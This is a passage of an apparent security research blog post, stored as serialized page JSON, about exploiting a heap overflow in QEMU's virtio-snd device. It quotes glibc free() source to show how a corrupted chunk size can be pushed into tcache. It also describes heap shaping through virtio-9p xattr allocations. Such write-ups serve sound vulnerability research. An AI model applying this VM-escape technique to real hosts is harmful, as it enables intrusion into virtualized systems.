",{"type":23,"tag":139,"props":124717,"children":124718},{"style":294},[124719],{"type":28,"value":24},{"type":23,"tag":139,"props":124721,"children":124722},{"style":259},[124723],{"type":28,"value":1052},{"type":23,"tag":139,"props":124725,"children":124726},{"style":279},[124727],{"type":28,"value":17055},{"type":23,"tag":139,"props":124729,"children":124730},{"style":294},[124731],{"type":28,"value":124732}," have_lock",{"type":23,"tag":139,"props":124734,"children":124735},{"style":259},[124736],{"type":28,"value":273},{"type":23,"tag":139,"props":124738,"children":124739},{"class":141,"line":160},[124740],{"type":23,"tag":139,"props":124741,"children":124742},{"style":259},[124743],{"type":28,"value":8890},{"type":23,"tag":139,"props":124745,"children":124746},{"class":141,"line":169},[124747],{"type":23,"tag":139,"props":124748,"children":124749},{"style":259},[124750],{"type":28,"value":124751},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":139,"props":124753,"children":124754},{"class":141,"line":178},[124755],{"type":23,"tag":139,"props":124756,"children":124757},{"emptyLinePlaceholder":15},[124758],{"type":28,"value":184},{"type":23,"tag":139,"props":124760,"children":124761},{"class":141,"line":187},[124762,124767,124771,124776],{"type":23,"tag":139,"props":124763,"children":124764},{"style":259},[124765],{"type":28,"value":124766},"  size ",{"type":23,"tag":139,"props":124768,"children":124769},{"style":982},[124770],{"type":28,"value":1067},{"type":23,"tag":139,"props":124772,"children":124773},{"style":245},[124774],{"type":28,"value":124775}," chunksize",{"type":23,"tag":139,"props":124777,"children":124778},{"style":259},[124779],{"type":28,"value":124494},{"type":23,"tag":139,"props":124781,"children":124782},{"class":141,"line":196},[124783],{"type":23,"tag":139,"props":124784,"children":124785},{"emptyLinePlaceholder":15},[124786],{"type":28,"value":184},{"type":23,"tag":139,"props":124788,"children":124789},{"class":141,"line":205},[124790],{"type":23,"tag":139,"props":124791,"children":124792},{"style":958},[124793],{"type":28,"value":124794},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":139,"props":124796,"children":124797},{"class":141,"line":214},[124798],{"type":23,"tag":139,"props":124799,"children":124800},{"style":958},[124801],{"type":28,"value":124802},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":139,"props":124804,"children":124805},{"class":141,"line":1320},[124806],{"type":23,"tag":139,"props":124807,"children":124808},{"style":958},[124809],{"type":28,"value":124810},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":139,"props":124812,"children":124813},{"class":141,"line":1329},[124814],{"type":23,"tag":139,"props":124815,"children":124816},{"style":958},[124817],{"type":28,"value":124818},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":139,"props":124820,"children":124821},{"class":141,"line":1580},[124822,124826,124830,124835,124840,124845,124850,124854,124858,124862,124866,124870,124875,124879],{"type":23,"tag":139,"props":124823,"children":124824},{"style":319},[124825],{"type":28,"value":29281},{"type":23,"tag":139,"props":124827,"children":124828},{"style":259},[124829],{"type":28,"value":1042},{"type":23,"tag":139,"props":124831,"children":124832},{"style":245},[124833],{"type":28,"value":124834},"__builtin_expect",{"type":23,"tag":139,"props":124836,"children":124837},{"style":259},[124838],{"type":28,"value":124839}," ((",{"type":23,"tag":139,"props":124841,"children":124842},{"style":279},[124843],{"type":28,"value":124844},"uintptr_t",{"type":23,"tag":139,"props":124846,"children":124847},{"style":259},[124848],{"type":28,"value":124849},") p ",{"type":23,"tag":139,"props":124851,"children":124852},{"style":982},[124853],{"type":28,"value":8471},{"type":23,"tag":139,"props":124855,"children":124856},{"style":259},[124857],{"type":28,"value":1042},{"type":23,"tag":139,"props":124859,"children":124860},{"style":279},[124861],{"type":28,"value":124844},{"type":23,"tag":139,"props":124863,"children":124864},{"style":259},[124865],{"type":28,"value":1062},{"type":23,"tag":139,"props":124867,"children":124868},{"style":982},[124869],{"type":28,"value":2328},{"type":23,"tag":139,"props":124871,"children":124872},{"style":259},[124873],{"type":28,"value":124874},"size, ",{"type":23,"tag":139,"props":124876,"children":124877},{"style":1016},[124878],{"type":28,"value":2021},{"type":23,"tag":139,"props":124880,"children":124881},{"style":259},[124882],{"type":28,"value":273},{"type":23,"tag":139,"props":124884,"children":124885},{"class":141,"line":1597},[124886,124891,124896,124900,124905,124910,124914],{"type":23,"tag":139,"props":124887,"children":124888},{"style":982},[124889],{"type":28,"value":124890},"      ||",{"type":23,"tag":139,"props":124892,"children":124893},{"style":245},[124894],{"type":28,"value":124895}," __builtin_expect",{"type":23,"tag":139,"props":124897,"children":124898},{"style":259},[124899],{"type":28,"value":1042},{"type":23,"tag":139,"props":124901,"children":124902},{"style":245},[124903],{"type":28,"value":124904},"misaligned_chunk",{"type":23,"tag":139,"props":124906,"children":124907},{"style":259},[124908],{"type":28,"value":124909}," (p), ",{"type":23,"tag":139,"props":124911,"children":124912},{"style":1016},[124913],{"type":28,"value":2021},{"type":23,"tag":139,"props":124915,"children":124916},{"style":259},[124917],{"type":28,"value":17719},{"type":23,"tag":139,"props":124919,"children":124920},{"class":141,"line":1614},[124921,124926,124930,124935],{"type":23,"tag":139,"props":124922,"children":124923},{"style":245},[124924],{"type":28,"value":124925},"    malloc_printerr",{"type":23,"tag":139,"props":124927,"children":124928},{"style":259},[124929],{"type":28,"value":1042},{"type":23,"tag":139,"props":124931,"children":124932},{"style":265},[124933],{"type":28,"value":124934},"\"free(): invalid pointer\"",{"type":23,"tag":139,"props":124936,"children":124937},{"style":259},[124938],{"type":28,"value":1820},{"type":23,"tag":139,"props":124940,"children":124941},{"class":141,"line":1627},[124942],{"type":23,"tag":139,"props":124943,"children":124944},{"style":958},[124945],{"type":28,"value":124946},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":139,"props":124948,"children":124949},{"class":141,"line":1636},[124950],{"type":23,"tag":139,"props":124951,"children":124952},{"style":958},[124953],{"type":28,"value":124954},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":139,"props":124956,"children":124957},{"class":141,"line":1659},[124958,124962,124966,124971,124976,124980,124985,124989,124993,124998],{"type":23,"tag":139,"props":124959,"children":124960},{"style":319},[124961],{"type":28,"value":29281},{"type":23,"tag":139,"props":124963,"children":124964},{"style":259},[124965],{"type":28,"value":1042},{"type":23,"tag":139,"props":124967,"children":124968},{"style":245},[124969],{"type":28,"value":124970},"__glibc_unlikely",{"type":23,"tag":139,"props":124972,"children":124973},{"style":259},[124974],{"type":28,"value":124975}," (size ",{"type":23,"tag":139,"props":124977,"children":124978},{"style":982},[124979],{"type":28,"value":3808},{"type":23,"tag":139,"props":124981,"children":124982},{"style":259},[124983],{"type":28,"value":124984}," MINSIZE ",{"type":23,"tag":139,"props":124986,"children":124987},{"style":982},[124988],{"type":28,"value":20427},{"type":23,"tag":139,"props":124990,"children":124991},{"style":982},[124992],{"type":28,"value":10875},{"type":23,"tag":139,"props":124994,"children":124995},{"style":245},[124996],{"type":28,"value":124997},"aligned_OK",{"type":23,"tag":139,"props":124999,"children":125000},{"style":259},[125001],{"type":28,"value":125002}," (size)))\n",{"type":23,"tag":139,"props":125004,"children":125005},{"class":141,"line":1667},[125006,125010,125014,125019],{"type":23,"tag":139,"props":125007,"children":125008},{"style":245},[125009],{"type":28,"value":124925},{"type":23,"tag":139,"props":125011,"children":125012},{"style":259},[125013],{"type":28,"value":1042},{"type":23,"tag":139,"props":125015,"children":125016},{"style":265},[125017],{"type":28,"value":125018},"\"free(): invalid size\"",{"type":23,"tag":139,"props":125020,"children":125021},{"style":259},[125022],{"type":28,"value":1820},{"type":23,"tag":139,"props":125024,"children":125025},{"class":141,"line":1676},[125026],{"type":23,"tag":139,"props":125027,"children":125028},{"emptyLinePlaceholder":15},[125029],{"type":28,"value":184},{"type":23,"tag":139,"props":125031,"children":125032},{"class":141,"line":1745},[125033,125038],{"type":23,"tag":139,"props":125034,"children":125035},{"style":245},[125036],{"type":28,"value":125037},"  check_inuse_chunk",{"type":23,"tag":139,"props":125039,"children":125040},{"style":259},[125041],{"type":28,"value":125042},"(av, p);\n",{"type":23,"tag":139,"props":125044,"children":125045},{"class":141,"line":1753},[125046],{"type":23,"tag":139,"props":125047,"children":125048},{"emptyLinePlaceholder":15},[125049],{"type":28,"value":184},{"type":23,"tag":139,"props":125051,"children":125052},{"class":141,"line":1783},[125053],{"type":23,"tag":139,"props":125054,"children":125055},{"style":259},[125056],{"type":28,"value":125057},"  [...]\n",{"type":23,"tag":24,"props":125059,"children":125060},{},[125061],{"type":28,"value":125062},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":24,"props":125064,"children":125065},{},[125066,125068,125073,125075,125080,125082,125087,125089,125094],{"type":28,"value":125067},"The next check, however, ensures that the ",{"type":23,"tag":135,"props":125069,"children":125071},{"className":125070},[],[125072],{"type":28,"value":122164},{"type":28,"value":125074}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":135,"props":125076,"children":125078},{"className":125077},[],[125079],{"type":28,"value":122164},{"type":28,"value":125081}," must preserve alignment while also avoiding the ",{"type":23,"tag":135,"props":125083,"children":125085},{"className":125084},[],[125086],{"type":28,"value":124333},{"type":28,"value":125088}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":135,"props":125090,"children":125092},{"className":125091},[],[125093],{"type":28,"value":122164},{"type":28,"value":125095}," corruption looked very unreliable at first.",{"type":23,"tag":24,"props":125097,"children":125098},{},[125099],{"type":28,"value":125100},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":128,"props":125102,"children":125104},{"code":125103,"language":1123,"meta":7,"className":14526,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[125105],{"type":23,"tag":135,"props":125106,"children":125107},{"__ignoreMap":7},[125108,125116,125143,125150,125157,125164,125183,125190,125210,125217,125245,125269,125276,125289,125331,125338,125346,125353,125370],{"type":23,"tag":139,"props":125109,"children":125110},{"class":141,"line":142},[125111],{"type":23,"tag":139,"props":125112,"children":125113},{"style":279},[125114],{"type":28,"value":125115},"void\n",{"type":23,"tag":139,"props":125117,"children":125118},{"class":141,"line":151},[125119,125123,125127,125131,125135,125139],{"type":23,"tag":139,"props":125120,"children":125121},{"style":245},[125122],{"type":28,"value":124381},{"type":23,"tag":139,"props":125124,"children":125125},{"style":259},[125126],{"type":28,"value":1042},{"type":23,"tag":139,"props":125128,"children":125129},{"style":279},[125130],{"type":28,"value":49525},{"type":23,"tag":139,"props":125132,"children":125133},{"style":982},[125134],{"type":28,"value":7825},{"type":23,"tag":139,"props":125136,"children":125137},{"style":294},[125138],{"type":28,"value":38555},{"type":23,"tag":139,"props":125140,"children":125141},{"style":259},[125142],{"type":28,"value":273},{"type":23,"tag":139,"props":125144,"children":125145},{"class":141,"line":160},[125146],{"type":23,"tag":139,"props":125147,"children":125148},{"style":259},[125149],{"type":28,"value":8890},{"type":23,"tag":139,"props":125151,"children":125152},{"class":141,"line":169},[125153],{"type":23,"tag":139,"props":125154,"children":125155},{"style":259},[125156],{"type":28,"value":124424},{"type":23,"tag":139,"props":125158,"children":125159},{"class":141,"line":178},[125160],{"type":23,"tag":139,"props":125161,"children":125162},{"emptyLinePlaceholder":15},[125163],{"type":28,"value":184},{"type":23,"tag":139,"props":125165,"children":125166},{"class":141,"line":187},[125167,125171,125175,125179],{"type":23,"tag":139,"props":125168,"children":125169},{"style":259},[125170],{"type":28,"value":124439},{"type":23,"tag":139,"props":125172,"children":125173},{"style":982},[125174],{"type":28,"value":1067},{"type":23,"tag":139,"props":125176,"children":125177},{"style":245},[125178],{"type":28,"value":124448},{"type":23,"tag":139,"props":125180,"children":125181},{"style":259},[125182],{"type":28,"value":124453},{"type":23,"tag":139,"props":125184,"children":125185},{"class":141,"line":196},[125186],{"type":23,"tag":139,"props":125187,"children":125188},{"emptyLinePlaceholder":15},[125189],{"type":28,"value":184},{"type":23,"tag":139,"props":125191,"children":125192},{"class":141,"line":205},[125193,125198,125202,125206],{"type":23,"tag":139,"props":125194,"children":125195},{"style":259},[125196],{"type":28,"value":125197},"  INTERNAL_SIZE_T size ",{"type":23,"tag":139,"props":125199,"children":125200},{"style":982},[125201],{"type":28,"value":1067},{"type":23,"tag":139,"props":125203,"children":125204},{"style":245},[125205],{"type":28,"value":124775},{"type":23,"tag":139,"props":125207,"children":125208},{"style":259},[125209],{"type":28,"value":124494},{"type":23,"tag":139,"props":125211,"children":125212},{"class":141,"line":214},[125213],{"type":23,"tag":139,"props":125214,"children":125215},{"emptyLinePlaceholder":15},[125216],{"type":28,"value":184},{"type":23,"tag":139,"props":125218,"children":125219},{"class":141,"line":1320},[125220,125224,125228,125232,125236,125240],{"type":23,"tag":139,"props":125221,"children":125222},{"style":319},[125223],{"type":28,"value":29281},{"type":23,"tag":139,"props":125225,"children":125226},{"style":259},[125227],{"type":28,"value":1042},{"type":23,"tag":139,"props":125229,"children":125230},{"style":245},[125231],{"type":28,"value":124970},{"type":23,"tag":139,"props":125233,"children":125234},{"style":259},[125235],{"type":28,"value":1042},{"type":23,"tag":139,"props":125237,"children":125238},{"style":245},[125239],{"type":28,"value":124904},{"type":23,"tag":139,"props":125241,"children":125242},{"style":259},[125243],{"type":28,"value":125244}," (p)))\n",{"type":23,"tag":139,"props":125246,"children":125247},{"class":141,"line":1329},[125248,125252,125257,125261,125265],{"type":23,"tag":139,"props":125249,"children":125250},{"style":319},[125251],{"type":28,"value":322},{"type":23,"tag":139,"props":125253,"children":125254},{"style":245},[125255],{"type":28,"value":125256}," malloc_printerr_tail",{"type":23,"tag":139,"props":125258,"children":125259},{"style":259},[125260],{"type":28,"value":1042},{"type":23,"tag":139,"props":125262,"children":125263},{"style":265},[125264],{"type":28,"value":124934},{"type":23,"tag":139,"props":125266,"children":125267},{"style":259},[125268],{"type":28,"value":1820},{"type":23,"tag":139,"props":125270,"children":125271},{"class":141,"line":1580},[125272],{"type":23,"tag":139,"props":125273,"children":125274},{"emptyLinePlaceholder":15},[125275],{"type":28,"value":184},{"type":23,"tag":139,"props":125277,"children":125278},{"class":141,"line":1597},[125279,125284],{"type":23,"tag":139,"props":125280,"children":125281},{"style":319},[125282],{"type":28,"value":125283},"#if",{"type":23,"tag":139,"props":125285,"children":125286},{"style":245},[125287],{"type":28,"value":125288}," USE_TCACHE\n",{"type":23,"tag":139,"props":125290,"children":125291},{"class":141,"line":1614},[125292,125296,125300,125305,125309,125313,125318,125322,125327],{"type":23,"tag":139,"props":125293,"children":125294},{"style":319},[125295],{"type":28,"value":29281},{"type":23,"tag":139,"props":125297,"children":125298},{"style":259},[125299],{"type":28,"value":1042},{"type":23,"tag":139,"props":125301,"children":125302},{"style":245},[125303],{"type":28,"value":125304},"__glibc_likely",{"type":23,"tag":139,"props":125306,"children":125307},{"style":259},[125308],{"type":28,"value":124975},{"type":23,"tag":139,"props":125310,"children":125311},{"style":982},[125312],{"type":28,"value":3808},{"type":23,"tag":139,"props":125314,"children":125315},{"style":294},[125316],{"type":28,"value":125317}," mp_",{"type":23,"tag":139,"props":125319,"children":125320},{"style":259},[125321],{"type":28,"value":73},{"type":23,"tag":139,"props":125323,"children":125324},{"style":294},[125325],{"type":28,"value":125326},"tcache_max_bytes",{"type":23,"tag":139,"props":125328,"children":125329},{"style":259},[125330],{"type":28,"value":17719},{"type":23,"tag":139,"props":125332,"children":125333},{"class":141,"line":1627},[125334],{"type":23,"tag":139,"props":125335,"children":125336},{"style":259},[125337],{"type":28,"value":27209},{"type":23,"tag":139,"props":125339,"children":125340},{"class":141,"line":1636},[125341],{"type":23,"tag":139,"props":125342,"children":125343},{"style":259},[125344],{"type":28,"value":125345},"      [...]\n",{"type":23,"tag":139,"props":125347,"children":125348},{"class":141,"line":1659},[125349],{"type":23,"tag":139,"props":125350,"children":125351},{"emptyLinePlaceholder":15},[125352],{"type":28,"value":184},{"type":23,"tag":139,"props":125354,"children":125355},{"class":141,"line":1667},[125356,125360,125365],{"type":23,"tag":139,"props":125357,"children":125358},{"style":319},[125359],{"type":28,"value":37247},{"type":23,"tag":139,"props":125361,"children":125362},{"style":245},[125363],{"type":28,"value":125364}," tcache_put",{"type":23,"tag":139,"props":125366,"children":125367},{"style":259},[125368],{"type":28,"value":125369}," (p, tc_idx);\n",{"type":23,"tag":139,"props":125371,"children":125372},{"class":141,"line":1676},[125373],{"type":23,"tag":139,"props":125374,"children":125375},{"style":259},[125376],{"type":28,"value":1335},{"type":23,"tag":24,"props":125378,"children":125379},{},[125380,125382,125387],{"type":28,"value":125381},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":135,"props":125383,"children":125385},{"className":125384},[],[125386],{"type":28,"value":122164},{"type":28,"value":125388}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":24,"props":125390,"children":125391},{},[125392,125394,125400,125401,125406],{"type":28,"value":125393},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":135,"props":125395,"children":125397},{"className":125396},[],[125398],{"type":28,"value":125399},"check_inuse_chunk",{"type":28,"value":1042},{"type":23,"tag":135,"props":125402,"children":125404},{"className":125403},[],[125405],{"type":28,"value":122292},{"type":28,"value":21966},{"type":23,"tag":128,"props":125408,"children":125410},{"code":125409,"language":1123,"meta":7,"className":14526,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[125411],{"type":23,"tag":135,"props":125412,"children":125413},{"__ignoreMap":7},[125414,125421,125448,125455,125462,125469,125488,125495,125514,125521,125548,125571,125578,125604,125611,125622,125679],{"type":23,"tag":139,"props":125415,"children":125416},{"class":141,"line":142},[125417],{"type":23,"tag":139,"props":125418,"children":125419},{"style":279},[125420],{"type":28,"value":125115},{"type":23,"tag":139,"props":125422,"children":125423},{"class":141,"line":151},[125424,125428,125432,125436,125440,125444],{"type":23,"tag":139,"props":125425,"children":125426},{"style":245},[125427],{"type":28,"value":124381},{"type":23,"tag":139,"props":125429,"children":125430},{"style":259},[125431],{"type":28,"value":1042},{"type":23,"tag":139,"props":125433,"children":125434},{"style":279},[125435],{"type":28,"value":49525},{"type":23,"tag":139,"props":125437,"children":125438},{"style":982},[125439],{"type":28,"value":7825},{"type":23,"tag":139,"props":125441,"children":125442},{"style":294},[125443],{"type":28,"value":38555},{"type":23,"tag":139,"props":125445,"children":125446},{"style":259},[125447],{"type":28,"value":273},{"type":23,"tag":139,"props":125449,"children":125450},{"class":141,"line":160},[125451],{"type":23,"tag":139,"props":125452,"children":125453},{"style":259},[125454],{"type":28,"value":8890},{"type":23,"tag":139,"props":125456,"children":125457},{"class":141,"line":169},[125458],{"type":23,"tag":139,"props":125459,"children":125460},{"style":259},[125461],{"type":28,"value":124424},{"type":23,"tag":139,"props":125463,"children":125464},{"class":141,"line":178},[125465],{"type":23,"tag":139,"props":125466,"children":125467},{"emptyLinePlaceholder":15},[125468],{"type":28,"value":184},{"type":23,"tag":139,"props":125470,"children":125471},{"class":141,"line":187},[125472,125476,125480,125484],{"type":23,"tag":139,"props":125473,"children":125474},{"style":259},[125475],{"type":28,"value":124439},{"type":23,"tag":139,"props":125477,"children":125478},{"style":982},[125479],{"type":28,"value":1067},{"type":23,"tag":139,"props":125481,"children":125482},{"style":245},[125483],{"type":28,"value":124448},{"type":23,"tag":139,"props":125485,"children":125486},{"style":259},[125487],{"type":28,"value":124453},{"type":23,"tag":139,"props":125489,"children":125490},{"class":141,"line":196},[125491],{"type":23,"tag":139,"props":125492,"children":125493},{"emptyLinePlaceholder":15},[125494],{"type":28,"value":184},{"type":23,"tag":139,"props":125496,"children":125497},{"class":141,"line":205},[125498,125502,125506,125510],{"type":23,"tag":139,"props":125499,"children":125500},{"style":259},[125501],{"type":28,"value":125197},{"type":23,"tag":139,"props":125503,"children":125504},{"style":982},[125505],{"type":28,"value":1067},{"type":23,"tag":139,"props":125507,"children":125508},{"style":245},[125509],{"type":28,"value":124775},{"type":23,"tag":139,"props":125511,"children":125512},{"style":259},[125513],{"type":28,"value":124494},{"type":23,"tag":139,"props":125515,"children":125516},{"class":141,"line":214},[125517],{"type":23,"tag":139,"props":125518,"children":125519},{"emptyLinePlaceholder":15},[125520],{"type":28,"value":184},{"type":23,"tag":139,"props":125522,"children":125523},{"class":141,"line":1320},[125524,125528,125532,125536,125540,125544],{"type":23,"tag":139,"props":125525,"children":125526},{"style":319},[125527],{"type":28,"value":29281},{"type":23,"tag":139,"props":125529,"children":125530},{"style":259},[125531],{"type":28,"value":1042},{"type":23,"tag":139,"props":125533,"children":125534},{"style":245},[125535],{"type":28,"value":124970},{"type":23,"tag":139,"props":125537,"children":125538},{"style":259},[125539],{"type":28,"value":1042},{"type":23,"tag":139,"props":125541,"children":125542},{"style":245},[125543],{"type":28,"value":124904},{"type":23,"tag":139,"props":125545,"children":125546},{"style":259},[125547],{"type":28,"value":125244},{"type":23,"tag":139,"props":125549,"children":125550},{"class":141,"line":1329},[125551,125555,125559,125563,125567],{"type":23,"tag":139,"props":125552,"children":125553},{"style":319},[125554],{"type":28,"value":322},{"type":23,"tag":139,"props":125556,"children":125557},{"style":245},[125558],{"type":28,"value":125256},{"type":23,"tag":139,"props":125560,"children":125561},{"style":259},[125562],{"type":28,"value":1042},{"type":23,"tag":139,"props":125564,"children":125565},{"style":265},[125566],{"type":28,"value":124934},{"type":23,"tag":139,"props":125568,"children":125569},{"style":259},[125570],{"type":28,"value":1820},{"type":23,"tag":139,"props":125572,"children":125573},{"class":141,"line":1580},[125574],{"type":23,"tag":139,"props":125575,"children":125576},{"emptyLinePlaceholder":15},[125577],{"type":28,"value":184},{"type":23,"tag":139,"props":125579,"children":125580},{"class":141,"line":1597},[125581,125585,125589,125594,125599],{"type":23,"tag":139,"props":125582,"children":125583},{"style":245},[125584],{"type":28,"value":125037},{"type":23,"tag":139,"props":125586,"children":125587},{"style":259},[125588],{"type":28,"value":1042},{"type":23,"tag":139,"props":125590,"children":125591},{"style":245},[125592],{"type":28,"value":125593},"arena_for_chunk",{"type":23,"tag":139,"props":125595,"children":125596},{"style":259},[125597],{"type":28,"value":125598}," (p), p);",{"type":23,"tag":139,"props":125600,"children":125601},{"style":958},[125602],{"type":28,"value":125603},"             // [1]\n",{"type":23,"tag":139,"props":125605,"children":125606},{"class":141,"line":1614},[125607],{"type":23,"tag":139,"props":125608,"children":125609},{"emptyLinePlaceholder":15},[125610],{"type":28,"value":184},{"type":23,"tag":139,"props":125612,"children":125613},{"class":141,"line":1627},[125614,125618],{"type":23,"tag":139,"props":125615,"children":125616},{"style":319},[125617],{"type":28,"value":125283},{"type":23,"tag":139,"props":125619,"children":125620},{"style":245},[125621],{"type":28,"value":125288},{"type":23,"tag":139,"props":125623,"children":125624},{"class":141,"line":1636},[125625,125629,125633,125637,125641,125645,125649,125653,125657,125661,125666,125670,125675],{"type":23,"tag":139,"props":125626,"children":125627},{"style":319},[125628],{"type":28,"value":29281},{"type":23,"tag":139,"props":125630,"children":125631},{"style":259},[125632],{"type":28,"value":1042},{"type":23,"tag":139,"props":125634,"children":125635},{"style":245},[125636],{"type":28,"value":125304},{"type":23,"tag":139,"props":125638,"children":125639},{"style":259},[125640],{"type":28,"value":124975},{"type":23,"tag":139,"props":125642,"children":125643},{"style":982},[125644],{"type":28,"value":3808},{"type":23,"tag":139,"props":125646,"children":125647},{"style":294},[125648],{"type":28,"value":125317},{"type":23,"tag":139,"props":125650,"children":125651},{"style":259},[125652],{"type":28,"value":73},{"type":23,"tag":139,"props":125654,"children":125655},{"style":294},[125656],{"type":28,"value":125326},{"type":23,"tag":139,"props":125658,"children":125659},{"style":982},[125660],{"type":28,"value":12196},{"type":23,"tag":139,"props":125662,"children":125663},{"style":259},[125664],{"type":28,"value":125665}," tcache ",{"type":23,"tag":139,"props":125667,"children":125668},{"style":982},[125669],{"type":28,"value":13699},{"type":23,"tag":139,"props":125671,"children":125672},{"style":279},[125673],{"type":28,"value":125674}," NULL",{"type":23,"tag":139,"props":125676,"children":125677},{"style":259},[125678],{"type":28,"value":17719},{"type":23,"tag":139,"props":125680,"children":125681},{"class":141,"line":1659},[125682],{"type":23,"tag":139,"props":125683,"children":125684},{"style":259},[125685],{"type":28,"value":125057},{"type":23,"tag":24,"props":125687,"children":125688},{},[125689,125691,125696],{"type":28,"value":125690},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":135,"props":125692,"children":125694},{"className":125693},[],[125695],{"type":28,"value":122164},{"type":28,"value":125697},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":16800,"props":125699,"children":125700},{},[],{"type":23,"tag":24,"props":125702,"children":125703},{},[125704,125706,125711,125713,125719,125721,125726,125728,125734],{"type":28,"value":125705},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":135,"props":125707,"children":125709},{"className":125708},[],[125710],{"type":28,"value":122164},{"type":28,"value":125712}," field was initially ",{"type":23,"tag":135,"props":125714,"children":125716},{"className":125715},[],[125717],{"type":28,"value":125718},"0x200",{"type":28,"value":125720},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":135,"props":125722,"children":125724},{"className":125723},[],[125725],{"type":28,"value":124341},{"type":28,"value":125727},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":135,"props":125729,"children":125731},{"className":125730},[],[125732],{"type":28,"value":125733},"[0x210, 0x2f0]",{"type":28,"value":125735},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":24,"props":125737,"children":125738},{},[125739],{"type":28,"value":125740},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":666,"props":125742,"children":125744},{"id":125743},"heap-spraying",[125745],{"type":28,"value":125746},"Heap Spraying",{"type":23,"tag":24,"props":125748,"children":125749},{},[125750,125752,125757],{"type":28,"value":125751},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":135,"props":125753,"children":125755},{"className":125754},[],[125756],{"type":28,"value":125718},{"type":28,"value":125758},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":24,"props":125760,"children":125761},{},[125762,125764,125769],{"type":28,"value":125763},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":135,"props":125765,"children":125767},{"className":125766},[],[125768],{"type":28,"value":122359},{"type":28,"value":125770}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":24,"props":125772,"children":125773},{},[125774],{"type":28,"value":125775},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":16900,"props":125777,"children":125779},{"id":125778},"virtio-9p",[125780],{"type":28,"value":125778},{"type":23,"tag":24,"props":125782,"children":125783},{},[125784,125789],{"type":23,"tag":135,"props":125785,"children":125787},{"className":125786},[],[125788],{"type":28,"value":125778},{"type":28,"value":125790}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":24,"props":125792,"children":125793},{},[125794,125796,125802,125804,125810,125811,125817,125819,125824],{"type":28,"value":125795},"Through a ",{"type":23,"tag":135,"props":125797,"children":125799},{"className":125798},[],[125800],{"type":28,"value":125801},"P9_TXATTRCREATE",{"type":28,"value":125803}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":135,"props":125805,"children":125807},{"className":125806},[],[125808],{"type":28,"value":125809},".name",{"type":28,"value":9002},{"type":23,"tag":135,"props":125812,"children":125814},{"className":125813},[],[125815],{"type":28,"value":125816},".value",{"type":28,"value":125818}," fields, with the size of ",{"type":23,"tag":135,"props":125820,"children":125822},{"className":125821},[],[125823],{"type":28,"value":125816},{"type":28,"value":125825}," being directly controlled by the guest.",{"type":23,"tag":128,"props":125827,"children":125829},{"code":125828,"language":1123,"meta":7,"className":14526,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = 